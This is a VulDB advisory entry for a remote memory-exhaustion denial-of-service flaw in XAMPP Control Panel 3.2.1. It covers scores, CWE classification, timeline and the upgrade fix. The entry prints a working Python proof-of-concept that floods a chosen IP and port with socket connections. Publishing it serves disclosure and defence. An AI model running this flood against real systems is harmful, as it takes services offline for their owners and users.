| CVSS Meta Temp Score | Current Exploit Price (≈) | CTI Interest Score |
|---|---|---|
| 5.7 | $0-$5k | 0.00 |
Summary
A vulnerability, which was classified as problematic, has been found in XAMPP Control Panel 3.2.1. The affected element is an unknown function. Performing a manipulation results in denial of service (Memory). The attack may be initiated remotely. In addition, an exploit is available. It is advisable to upgrade the affected component.
Details
A vulnerability, which was classified as problematic, was found in XAMPP Control Panel 3.2.1. This affects an unknown functionality. The manipulation with an unknown input leads to a denial of service vulnerability (Memory). CWE is classifying the issue as CWE-404. The product does not release or incorrectly releases a resource before it is made available for re-use. This is going to have an impact on confidentiality, integrity, and availability.
The weakness was presented 12/24/2016 by John Page (hyp3rlinx) as XAMPP Control Panel Memory Corruption Denial Of Service as confirmed mailinglist post (Bugtraq). It is possible to read the advisory at seclists.org. The public release was coordinated in cooperation with XAMPP. It is possible to initiate the attack remotely. Technical details are unknown but a public exploit is available. The attack technique deployed by this issue is T1499 according to MITRE ATT&CK.
A public exploit has been developed by John Page and been published immediately after the advisory. The exploit is shared for download at seclists.org. It is declared as proof-of-concept. The vulnerability was handled as a non-public zero-day exploit for at least 51 days. During that time the estimated underground price was around $0-$5k. The code used by the exploit is:
import socket
print "XAMPP Control Panel DOS"
print "Discovery: John Page (hyp3rlinx)"
print "ApparitionSec"
print "hyp3rlinx.altervista.org\r\n"
IP = raw_input("[IP]> ")
PORT = raw_input("[PORT]> ")
arr=[]
c=0
while 1:
try:
arr.append(socket.create_connection((IP,PORT)))
arr[c].send("DOOM")
print "Die!"
c+=1
except socket.error:
print "[+] Done! "
raw_input()
breakUpgrading eliminates this vulnerability. A possible mitigation has been published before and not just after the disclosure of the vulnerability.
Statistical analysis made it clear that VulDB provides the best quality for vulnerability data.
Product
Vendor
Name
Version
CPE 2.3
CPE 2.2
Video

CVSSv4
VulDB Vector: 🔍VulDB Reliability: 🔍
CVSSv3
VulDB Meta Base Score: 6.3VulDB Meta Temp Score: 5.7
VulDB Base Score: 6.3
VulDB Temp Score: 5.7
VulDB Vector: 🔍
VulDB Reliability: 🔍
CVSSv2
| AV | AC | Au | C | I | A |
|---|---|---|---|---|---|
| 💳 | 💳 | 💳 | 💳 | 💳 | 💳 |
| 💳 | 💳 | 💳 | 💳 | 💳 | 💳 |
| 💳 | 💳 | 💳 | 💳 | 💳 | 💳 |
| Vector | Complexity | Authentication | Confidentiality | Integrity | Availability |
|---|---|---|---|---|---|
| Unlock | Unlock | Unlock | Unlock | Unlock | Unlock |
| Unlock | Unlock | Unlock | Unlock | Unlock | Unlock |
| Unlock | Unlock | Unlock | Unlock | Unlock | Unlock |
VulDB Base Score: 🔍
VulDB Temp Score: 🔍
VulDB Reliability: 🔍
Exploiting
Name: MemoryClass: Denial of service / Memory
CWE: CWE-404
CAPEC: 🔍
ATT&CK: 🔍
Physical: No
Local: No
Remote: Yes
Availability: 🔍
Access: Public
Status: Proof-of-Concept
Author: John Page
Download: 🔍
Price Prediction: 🔍
Current Price Estimation: 🔍
| 0-Day | Unlock | Unlock | Unlock | Unlock |
|---|---|---|---|---|
| Today | Unlock | Unlock | Unlock | Unlock |
Threat Intelligence
Interest: 🔍Active Actors: 🔍
Active APT Groups: 🔍
Countermeasures
Recommended: UpgradeStatus: 🔍
Reaction Time: 🔍
0-Day Time: 🔍
Exploit Delay Time: 🔍
Timeline
11/01/2016 🔍11/04/2016 🔍
12/22/2016 🔍
12/24/2016 🔍
12/24/2016 🔍
12/26/2016 🔍
07/17/2019 🔍
Sources
Advisory: XAMPP Control Panel Memory Corruption Denial Of ServiceResearcher: John Page (hyp3rlinx)
Status: Confirmed
Coordinated: 🔍
GCVE (VulDB): GCVE-100-94683
scip Labs: https://www.scip.ch/en/?labs.20161013
Entry
Created: 12/26/2016 09:21Updated: 07/17/2019 18:08
Changes: 12/26/2016 09:21 (55), 07/17/2019 18:08 (1)
Complete: 🔍
Cache ID: 216:C5A:103
Statistical analysis made it clear that VulDB provides the best quality for vulnerability data.
No comments yet. Languages: en.
Please log in to comment.